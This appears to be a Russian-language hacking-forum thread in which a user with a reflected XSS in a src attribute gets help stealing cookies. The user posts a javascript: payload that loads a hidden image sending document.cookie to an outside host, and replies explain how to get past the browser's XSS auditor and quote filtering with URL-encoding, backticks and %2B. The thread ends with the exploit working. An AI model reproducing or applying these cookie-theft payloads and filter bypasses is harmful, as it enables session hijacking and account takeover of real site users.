Есть reflected XSS и вот такой код отрабатывает:

javascript:alert(1)

Но вот такой:

">alert(1)

проходит но уже блочится xss auditor-oом.

Можно как-то слить куки не добавляя внутрь страницы ?

Можно так:

Если есть переносы строк или символы ломающие синтаксис, то нужно использовать urlencode.

Забыл упомянуть важную деталь. Инъекция в коде страницы отображается как атрибут src:

src="javascript:alert(1)"

Когда добавляю этот код:

javascript:i=document.createElement('img');i.style .display='none';i.src='http://localhost/?'+escape(document.cookie);console.log(document.bo dy.appendChild(i));

то не отображается и не отрабатывает никак

Выложи сюда, посмотрим.

Вот такой запрос даёт:

Такой

Даёт:

но блочится xss аудитором

Такой:

не выдает ничего

У меня нормально отрабатывает:

http://s018.radikal.ru/i512/1708/13/002a4d5c8506.png

Но при вводе такого кода в адресную строку - фрейм вообще не добавляется.

Проверил - сбой происходит на "http://". Если убрать их из скрипта то всё добавляется в src но кавычки фильтруются:

Без указания протокола нормально

Кавычку можно бэктиком (`) заменить. Плюс нужно заменить на %2B.

Вот так заработало. Спасибо